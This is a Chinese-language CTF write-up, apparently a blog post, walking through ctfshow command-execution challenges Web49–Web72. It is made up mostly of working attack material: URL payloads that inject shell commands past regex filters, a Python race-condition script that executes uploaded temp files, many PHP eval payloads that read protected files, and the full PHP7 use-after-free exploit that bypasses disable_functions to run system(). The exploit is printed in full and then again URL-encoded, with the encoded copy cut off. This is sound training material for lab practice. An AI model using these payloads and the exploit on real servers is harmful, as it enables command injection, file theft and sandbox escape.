?c=nl%09fla""g.php%0a
?c=vi%09fla\g.php%0a
?c=tac%09fla\g.php%0a
?c=uniq%09fla\g.php%0a
?c=nl<fla''g.php||
?c=nl%09fla\g.php%26
?c=tac%09????.???||

Web50(类型同上)

1
2
3
4
5
6
7
8
9
 <?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

过滤了[TAB](就是%09)和&(%26)

在ASCII编码中,\x09代表制表符(Tab),而\x26代表字符&。如果你需要将这些ASCII码转换为对应的字符,\x09会显示为一个制表符,而\x26会显示为符号&

payload

1
2
3
?c=tac<fla''g.php%0a
?c=tac<f''lag.php||
?c=tac<>fla\g.php||

再次强调

使用<>代替空格
<>?同时使用不回显,所以用\代替?

Web51(类型同上)

payload:

1
2
3
4
5
6
7
8
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

tac 被过滤了
用nl绕过
payload:
1
2
?c=nl<'f'lag.php||
?c=nl<>fla\g.php||

Web52(类型同上)

1
2
3
4
5
6
7
8
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

过滤了< >, 但是把$的过滤取消了,使用${IFS}绕过

payloads:

1
2
3
4
5
6
?c=nl$IFS/fla''g%0a
?c=nl${IFS}/fla''g%0a
?c=nl${IFS}/fla''g.php||
?c=c''at${IFS}/fla''g.p''hp
?c=nl${IFS}/????||
?c=nl${IFS}/fl''ag||

Web53

1
2
3
4
5
6
7
8
9
10
11
12
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
echo($c);
$d = system($c);
echo "<br>".$d;
}else{
echo 'no';
}
}else{
highlight_file(__FILE__);
}

nl 绕过
payload:

1
2
3
4
?c=c''at${IFS}fla''g.p''hp
?c=nl$IFS\fla""g.php||
?c=nl$IFS\fla\g.php
?c=nl${IFS}????.???

Web54(通配符中问号的使用)

1
2
3
4
5
6
7
8
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}

无法用''绕过

payload:

1
2
3
4
5
6
7
8
?c=vi${IFS}fla?.php%0a
?c=uniq${IFS}fla?.php
?c=grep${IFS}'ctfshow'${IFS}fla?.php
?c=mv${IFS}fla?.php${IFS}a.txt # 因为没有禁用 ls,因此知道文件名,因此可以使用 mv 来重命名文件,浏览器访问 a.txt
?c=rev${IFS}a.txt # 反转输出文件,这种得到的 flag 是行反转的,需要调转回来
?c=/bin/?at${IFS}f???????
?c=/bin/c??$IFS????????
?c=grep${IFS}ctfshow${IFS}????????

重点

?c=/bin/?at${IFS}f???????
利用?通配符匹配到cat命令的文件路径/bin/cat, 然后查看flag.php

测试了一下发现???????,???????p,f?ag.php,fl?ag.php,fla?.php等等都能读取

但是?lag.php读取不了, 不知道是什么原因

Web55(无字母数字的命令执行)

1
2
3
4
5
6
7
8
9
10
 <?php
// 你们在炫技吗?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}

三个思路

  1. base64 base32 绕过
  2. bzip2 绕过
  3. .执行 PHP 文件上传缓存文件绕过

前两个的原理是它们的文件名都带有数字, 相对来说可以精确匹配(但不同系统环境不一样, 只能碰运气)

base64绕过

1
2
3
?c=/???/????64 ????.???
#意思是 /bin/base64 flag.php


bzip2(注意路径是 /usr/bin/bzip2)
1
2
3
?c=/???/???/????2 ????.???
#也就是/usr/bin/bzip2 flag.php
#访问/flag.php.bz2进行下载获得flag.php

bzip2 压缩文件默认会把源文件删除

.执行缓存文件绕过
.(点)的用法,就是相当于source可以执行sh命令

通过post一个文件(文件里面的sh命令),在上传的过程中,通过.(点)去执行执行这个文件。(形成了条件竞争),php上传文件时的缓存文件存储路径一般是/tmp, 文件名为php[六位随机大小写字母], 总长度为9(在 tmp 临时文件中,只有 php 生成的文件是包含大写字母的,其余都是小写字母,因此我们可以加一个过滤大写字母的正则表达式)

注意:通过.去执行sh命令不需要有执行权限

先写一个post上传的数据包参考

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POC</title>
</head>
<body>
<form action="https://af8a7753-e196-44f6-8c04-d6fb2e1f650c.challenge.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>

在浏览器打开,不要上传文件直接提交抓包,改下面的地方,出了

Linux使用glob通配符[@-[]来匹配大写字母(ASCII 码区间)
构造poc执行命令:
?c=.+/???/????????[@-[]

这里匹配的是最后一个字符是大写字母的文件(PHP 缓存的文件名最后一个字母可能是大写字母,所以有的时候没有回显是因为文件末尾并不是大写字母,需要多尝试两遍。实际上, 6位随机字符中任意一个位置都有可能是大写字母)

其实测试一下发现, 将[@-[]放到后六位的任何一位都可以成功执行, 匹配到的概率都差不多

Y4tacker师傅的脚本

1
2
3
4
5
6
7
8
9
import requests
#requests.packages.urllib3.disable_warnings()
while True:
url = "http://af8a7753-e196-44f6-8c04-d6fb2e1f650c.challenge.ctf.show/?c=.%20/???/????????[@-[]"
r = requests.post(url, files={"file": ('1.php', b'cat flag.php')}) # verify=False
if r.text.find("flag") >0:
print(r.text)
break
# 如果请求的url是https,就把注释的部分加上,不然会报错需要ssl证书

Web56(无字母数字的命令执行)

1
2
3
4
5
6
7
8
9
10
 <?php
// 你们在炫技吗?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}

过滤了字母和数字
根据上一题, 只能使用.执行 PHP 的缓存文件,用上一题的py代码秒出

Web57($构造数字)

1
2
3
4
5
6
7
8
9
10
11
<?php
// 还能炫的动吗?
//flag in 36.php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
system("cat ".$c.".php");
}
}else{
highlight_file(__FILE__);
}

发现$没被过滤

三个做法

$,{ },_

1
2
3
${_} = "" //返回上一次命令
$((${_}))=0
$((~$((${_}))))=-1

做法

1
2
3
?c=${_} = ""
?c=$((~$(($((~$((${_})))) $((~$((${_})))) $((~$((${_})))) $((~$((${_})))) $((~$((${_})))) $((~$((${_})))) $((~$((${_})))) $((~$((${_})))) $((~$((${_})))) $((~$((${_})))) $((~$((${_})))) $((~$((${_})))) $((~$((${_})))) $((~$((${_})))) $((~$((${_})))) $((~$((${_})))) $((~$((${_})))) $((~$((${_})))) $((~$((${_})))) $((~$((${_})))) $((~$((${_})))) $((~$((${_})))) $((~$((${_})))) $((~$((${_})))) $((~$((${_})))) $((~$((${_})))) $((~$((${_})))) $((~$((${_})))) $((~$((${_})))) $((~$((${_})))) $((~$((${_})))) $((~$((${_})))) $((~$((${_})))) $((~$((${_})))) $((~$((${_})))) $((~$((${_})))) $((~$((${_}))))))))
#分两次提交

$,~,( )

shell中双小括号的作用http://c.biancheng.net/view/2480.html

$(())的默认值是0 ,因为里面没有任何东西, 对0取反得到-1, 取反的结果需要用另一对$(())包裹住

这里的-1有点特殊, 因为类似$((1 1))的命令是错误的(没有运算符号), 而两个-1并在一起$((-1 -1))会让shell认为是$((-1-1))即-1减去1, 然后得到-2

1
2
echo $((~36))
# -37

36的取反结果是-37, 就是说我们需要通过-1来构造出-37, 然后再取反一次

1
2
3
4
5
6
$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))))))

一键构造脚本

1
2
3
4
5
6
7
a = '$((~$(())$(())))'
b = '$((~$(('
c = '))))'
d = ''
for i in range(37):
d += a
print(b+d+c)

得到flag

grep搜索(hint里面的,但是我没复现成功)

1
?c=grep${IFS}'fla'${IFS}fla??php

一个被过滤的妙解

如果这里不禁用#号的话,我们有一种方法可以获得

1
2
3
echo ${#}    ->    0
echo ${##} -> 1
echo $((${##}+${##})) -> 2

有个脚本
1
2
3
4
5
6
7
8
a = '${##}+'
b = '$(('
c = '))'
d = ''
for i in range(36):
d += a
d = d[:-1]
print(b+d+c)

Web58(PHP函数使用)

1
2
3
4
5
6
7
8
 <?php
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}

命令执行的函数都被ban了, 但是file_get_contents()还能用,highlight_file也可以

获取文件路径:

1
2
3
c=print_r(glob("*"));
c=print_r(scandir('.'));
c=print_r(scandir(dirname('FILE')));

payloads:

1
2
3
4
5
6
7
8
9
c=echo file_get_contents('flag.php');
c=echo fread(fopen('flag.php','r'),filesize('flag.php'));
c=highlight_file('flag.php');
c=show_source('flag.php');
c=readfile('flag.php');
c=print_r(file('flag.php'));
c=include($_POST['w']);&w=php://filter/convert.base64-encode/resource=flag.php
c=show_source('flag.php');
c=highlight_file(next(array_reverse(scandir(pos(localeconv())))));

Y4tacker师傅的payload

太多了,单独开一个,而且有些很妙的方法

获取文件路径payload:

1
2
3
c=print_r(scandir(dirname('__FILE__')));
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}
c=$a=opendir("./"); while (($file = readdir($a)) !== false){echo $file . "<br>"; };

读取payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
//通过单一函数读取文件
c=echo file_get_contents("flag.php");
c=readfile("flag.php");
c=var_dump(file('flag.php'));
c=print_r(file('flag.php'));
//这里做一个解释`file — 把整个文件读入一个数组中`

通过fopen去读取文件内容,这里介绍下函数
fread()
fgets()
fgetc()
fgetss()
fgetcsv()
gpassthru()
payload:
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgets($a);echo $line;}//一行一行读取
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;}//一个一个字符读取
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetcsv($a);var_dump($line);}

//通过高亮显示php文件
show_source("flag.php");
highlight_file("flag.php");

Web59-65(这几道题目就一下禁用函数不同)

1
2
3
4
5
6
7
8
 <?php
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}

同上
或者配合伪协议进行文件包含, eval 在这里比较灵活, 方法很多

Y4tacker师傅的payload

Y4师傅依旧稳定发挥,这解法太妙了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
//paylaod汇总
c=highlight_file("flag.php");
c=var_dump(file("flag.php"));
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgets($a);echo $line;}
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;}
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetcsv($a);print_r($line);}
c=$a=fopen("flag.php","r");echo fread($a,"1000");
c=$a=fopen("flag.php","r");echo fpassthru($a);

//web60payload汇总
c=highlight_file("flag.php");
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;}
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetcsv($a);print_r($line);}

//复制,重命名读取php文件内容
copy("flag.php","flag.txt");
rename("flag.php","flag.txt");

#读取路径
c=$a=opendir('./');while(($file = readdir($a)) !=false){echo $file." ";}
#读取路径
c=print_r(scandir(current(localeconv())));
#读文件
c=highlight_file(next(array_reverse(scandir(current(localeconv())))));

同时记录一个,但是这道题不能用

1
2
$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetss($a);echo $line;} 
#php7.3版本后 该函数已不再被使用

Web66

1
2
3
4
5
6
7
8
 <?php
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}

payload:

1
2
3
4
5
6
7
8
#show_source()终于无了
c=var_dump(scandir("/"));
c=print_r(scandir('/')); # 列出 / 目录下的所有文件、

c=include('/flag.txt');
c=require('/flag.txt');
c=require_once('/flag.txt');
c=highlight_file('/flag.txt');

其实只要题目源码能看得到,highlight_file()就一直能用…

Web67

1
2
3
4
5
6
7
8
 <?php
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}

print_r()被过滤了, 换成var_dump()或者var_export()

scandir()返回的是数组, 其实就算被过滤了也可以加下标echo输出或者写个循环

payload:

1
2
3
4
5
6
c=var_dump(scandir("/"));

c=include('/flag.txt');
c=require('/flag.txt');
c=require_once('/flag.txt');
c=highlight_file('/flag.txt');

Web68

1
Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 19

啊?开局就啥也没有,按照上一题的经验继续post:c

尝试include('index.php');

发现字节太大了,直接盲猜c=include('/flag.txt')出了

scandir()没有被过滤, 严谨一点列目录再读取也可以

一些payloads:

1
2
3
c=include('/flag.txt');
c=require('/flag.txt');
c=readgzfile('/flag.txt');

这里不知道为什么readfile不行,但是readgzfile可以

php原生类读文件

还有一种方法是采用php原生类。
SplFileObject()这里的话我们var_dump读不出来,我们可以采用SplFileObject()类中的一个方法

->fpassthru(): 这是SplFileObject类的一个方法,fpassthru()用于将文件的内容直接输出到浏览器。这通常用于发送文件给用户下载,或者在某些情况下,直接在浏览器中显示文件内容
那我们就直接用这个方法就行

1
c=var_dump((new SplFileObject("/flag.txt"))->fpassthru());

Web69

1
Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 19

payload:

1
2
3
4
5
6
7
8
9
10
//看根目录
c=echo json_encode(scandir('/'));
c=echo implode(' ',scandir('/'));
c= var_export(scandir('/'));
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}

//读文件
c=include('/flag.txt');
c=require('/flag.txt');
c=require_once('/flag.txt');

Web70

1
2
3
4
5
6
Warning: error_reporting() has been disabled for security reasons in /var/www/html/index.php on line 14

Warning: ini_set() has been disabled for security reasons in /var/www/html/index.php on line 15

Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 21
你要上天吗?

进来看到三条报错有点逆天,不过并不影响做题,和上一题一样的payload

Web71

可以下载源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}

?>
你要上天吗?

感觉漏了个ob_start()

就是说将脚本输出的内容发送到缓冲区, 然后通过ob_get_contents()获取缓冲区内容,ob_end_clean()清除并关闭缓冲区, 最后通过preg_replace()过滤输出

简单来说就是我们eval返回的输出内容被过滤了, 大小写字母和数字会被替换成?

测试了一下发现如果语句执行错误, 会显示原来的内容,当语句执行成功后才被过滤

也就是说过滤的操作是在我们当前的命令执行完以后再进行的

我们可以通过die(),exit()让程序终止, 不再继续往下执行

payload:

1
c=include('/flag.txt');exit();

看别的师傅的wp,可以在劫持输出缓冲区之前就把缓冲区送出。
同样也是两个函数:

1
2
3
4
ob_flush();
#c=include('/flag.txt');ob_flush();
ob_end_flush();
#c=include('/flag.txt');ob_end_flush();

小脚本

1
2
3
4
5
6
7
8
9
10
11
12
import requests

url = "http://853dc2bb-588f-406c-b997-71acf336965e.challenge.ctf.show/"

d = {'c': 'include("/flag.txt");echo ~ob_get_contents();'}
s = requests.post(url, d).content



for i in s:
print(chr(~i&0xff), end='')
# 脚本来自群大佬阿狸

Web72

1
2
3
4
5
6
<?php


?>

你要上天吗?

/flag.txt提示不存在

列目录发现被限制了

考察的是open_basedirdisable_function的绕过

https://www.v0n.top/2020/07/10/open_basedir绕过/

https://www.anquanke.com/post/id/208451

使用scandir() + glob://列目录, 不过glob://协议还是有限制, 子目录就不能列了

flag在/flag0.txt内, 但是受限于open_basedirdisable_functions, 常规的文件读取和文件包含都不起作用

利用uaf的脚本进行命令利用uaf的脚本进行命令执行执行https://github.com/mm0r1/exploits/blob/master/php7-backtrace-bypass/exploit.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
c=?><?php
pwn("ls /;cat /flag0.txt");

function pwn($cmd) {
global $abc, $helper, $backtrace;
class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace(); # ;)
if(!isset($backtrace[1]['args'])) { # PHP >= 7.4
$backtrace = debug_backtrace();
}
}
}

class Helper {
public $a, $b, $c, $d;
}

function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}

function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= sprintf('%c',$ptr & 0xff);
$ptr >>= 8;
}
return $out;
}

function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = sprintf('%c',$v & 0xff);
$v >>= 8;
}
}

function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}

function parse_elf($base) {
$e_type = leak($base, 0x10, 2);

$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);

for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);

if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}

if(!$data_addr || !$text_size || !$data_size)
return false;

return [$data_addr, $text_size, $data_size];
}

function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;

$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;

return $data_addr + $i * 8;
}
}

function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}

function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);

if($f_name == 0x6d6574737973) { # system
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}

function trigger_uaf($arg) {
# str_shuffle prevents opcache string interning
$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
$vuln = new Vuln();
$vuln->a = $arg;
}

if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}

$n_alloc = 10; # increase this value if UAF fails
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');

trigger_uaf('x');
$abc = $backtrace[1]['args'][0];

$helper = new Helper;
$helper->b = function ($x) { };

if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}

# leaks
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;

# fake value
write($abc, 0x60, 2);
write($abc, 0x70, 6);

# fake reference
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);

$closure_obj = str2ptr($abc, 0x20);

$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}

if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}

if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}

if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}

# fake closure object
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}

# pwn
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4); # internal func type
write($abc, 0xd0 + 0x68, $zif_system); # internal func handler

($helper->b)($cmd);
exit();
}

url编码后,传入payload(通过bp上传):

1
c=%3f%3e%3c%3fphp%0apwn(%22ls+%2f%3bcat+%2fflag0.txt%22)%3b%0a%0afunction+pwn(%24cmd)+%7b%0a++++global+%24abc%2c+%24helper%2c+%24backtrace%3b%0a++++class+Vuln+%7b%0a++++++++public+%24a%3b%0a++++++++public+function+__destruct()+%7b+%0a++++++++++++global+%24backtrace%3b+%0a++++++++++++unset(%24this-%3ea)%3b%0a++++++++++++%24backtrace+%3d+(new+Exception)-%3egetTrace()%3b+%23+%3b)%0a++++++++++++if(!isset(%24backtrace%5b1%5d%5b%27args%27%5d))+%7b+%23+PHP+%3e%3d+7.4%0a++++++++++++++++%24backtrace+%3d+debug_backtrace()%3b%0a++++++++++++%7d%0a++++++++%7d%0a++++%7d%0a%0a++++class+Helper+%7b%0a++++++++public+%24a%2c+%24b%2c+%24c%2c+%24d%3b%0a++++%7d%0a%0a++++function+str2ptr(%26%24str%2c+%24p+%3d+0%2c+%24s+%3d+8)+%7b%0a++++++++%24address+%3d+0%3b%0a++++++++for(%24j+%3d+%24s-1%3b+%24j+%3e%3d+0%3b+%24j--)+%7b%0a++++++++++++%24address+%3c%3c%3d+8%3b%0a++++++++++++%24address+%7c%3d+ord(%24str%5b%24p%2b%24j%5d)%3b%0a++++++++%7d%0a++++++++return+%24address%3b%0a++++%7d%0a%0a++++function+ptr2str(%24ptr%2c+%24m+%3d+8)+%7b%0a++++++++%24out+%3d+%22%22%3b%0a++++++++for+(%24i%3d0%3b+%24i+%3c+%24m%3b+%24i%2b%2b)+%7b%0a++++++++++++%24out+.%3d+sprintf(%27%25c%27%2c%24ptr+%26+0xff)%3b%0a++++++++++++%24ptr+%3e%3e%3d+8%3b%0a++++++++%7d%0a++++++++return+%24out%3b%0a++++%7d%0a%0a++++function+write(%26%24str%2c+%24p%2c+%24v%2c+%24n+%3d+8)+%7b%0a++++++++%24i+%3d+0%3b%0a++++++++for(%24i+%3d+0%3b+%24i+%3c+%24n%3b+%24i%2b%2b)+%7b%0a++++++++++++%24str%5b%24p+%2b+%24i%5d+%3d+sprintf(%27%25c%27%2c%24v+%26+0xff)%3b%0a++++++++++++%24v+%3e%3e%3d+8%3b%0a++++++++%7d%0a++++%7d%0a%0a++++function+leak(%24addr%2c+%24p+%3d+0%2c+%24s+%3d+8)+%7b%0a++++++++global+%24abc%2c+%24helper%3b%0a++++++++write(%24abc%2c+0x68%2c+%24addr+%2b+%24p+-+0x10)%3b%0a++++++++%24leak+%3d+strlen(%24helper-%3ea)%3b%0a++++++++if(%24s+!%3d+8)+%7b+%24leak+%25%3d+2+%3c%3c+(%24s+*+8)+-+1%3b+%7d%0a++++++++return+%24leak%3b%0a++++%7d%0a%0a++++function+parse_elf(%24base)+%7b%0a++++++++%24e_type+%3d+leak(%24base%2c+0x10%2c+2)%3b%0a%0a++++++++%24e_phoff+%3d+leak(%24base%2c+0x20)%3b%0a++++++++%24e_phentsize+%3d+leak(%24base%2c+0x36%2c+2)%3b%0a++++++++%24e_phnum+%3d+leak(%24base%2c+0x38%2c+2)%3b%0a%0a++++++++for(%24i+%3d+0%3b+%24i+%3c+%24e_phnum%3b+%24i%2b%2b)+%7b%0a++++++++++++%24header+%3d+%24base+%2b+%24e_phoff+%2b+%24i+*+%24e_phentsize%3b%0a++++++++++++%24p_type++%3d+leak(%24header%2c+0%2c+4)%3b%0a++++++++++++%24p_flags+%3d+leak(%24header%2c+4%2c+4)%3b%0a++++++++++++%24p_vaddr+%3d+leak(%24header%2c+0x10)%3b%0a++++++++++++%24p_memsz+%3d+leak(%24header%2c+0x28)%3b%0a%0a++++++++++++if(%24p_type+%3d%3d+1+%26%26+%24p_flags+%3d%3d+6)+%7b+%23+PT_LOAD%2c+PF_Read_Write%0a++++++++++++++++%23+handle+pie%0a++++++++++++++++%24data_addr+%3d+%24e_type+%3d%3d+2+%3f+%24p_vaddr+%3a+%24base+%2b+%24p_vaddr%3b%0a++++++++++++++++%24data_size+%3d+%24p_memsz%3b%0a++++++++++++%7d+else+if(%24p_type+%3d%3d+1+%26%26+%24p_flags+%3d%3d+5)+%7b+%23+PT_LOAD%2c+PF_Read_exec%0a++++++++++++++++%24text_size+%3d+%24p_memsz%3b%0a++++++++++++%7d%0a++++++++%7d%0a%0a++++++++if(!%24data_addr+%7c%7c+!%24text_size+%7c%7c+!%24data_size)%0a++++++++++++return+false%3b%0a%0a++++++++return+%5b%24data_addr%2c+%24text_size%2c+%24data_size%5d%3b%0a++++%7d%0a%0a++++function+get_basic_funcs(%24base%2c+%24elf)+%7b%0a++++++++list(%24data_addr%2c+%24text_size%2c+%24data_size)+%3d+%24elf%3b%0a++++++++for(%24i+%3d+0%3b+%24i+%3c+%24data_size+%2f+8%3b+%24i%2b%2b)+%7b%0a++++++++++++%24leak+%3d+leak(%24data_addr%2c+%24i+*+8)%3b%0a++++++++++++if(%24leak+-+%24base+%3e+0+%26%26+%24leak+-+%24base+%3c+%24data_addr+-+%24base)+%7b%0a++++++++++++++++%24deref+%3d+leak(%24leak)%3b%0a++++++++++++++++%23+%27constant%27+constant+check%0a++++++++++++++++if(%24deref+!%3d+0x746e6174736e6f63)%0a++++++++++++++++++++continue%3b%0a++++++++++++%7d+else+continue%3b%0a%0a++++++++++++%24leak+%3d+leak(%24data_addr%2c+(%24i+%2b+4)+*+8)%3b%0a++++++++++++if(%24leak+-+%24base+%3e+0+%26%26+%24leak+-+%24base+%3c+%24data_addr+-+%24base)+%7b%0a++++++++++++++++%24deref+%3d+leak(%24leak)%3b%0a++++++++++++++++%23+%27bin2hex%27+constant+check%0a++++++++++++++++if(%24deref+!%3d+0x786568326e6962)%0a++++++++++++++++++++continue%3b%0a++++++++++++%7d+else+continue%3b%0a%0a++++++++++++return+%24data_addr+%2b+%24i+*+8%3b%0a++++++++%7d%0a++++%7d%0a%0a++++f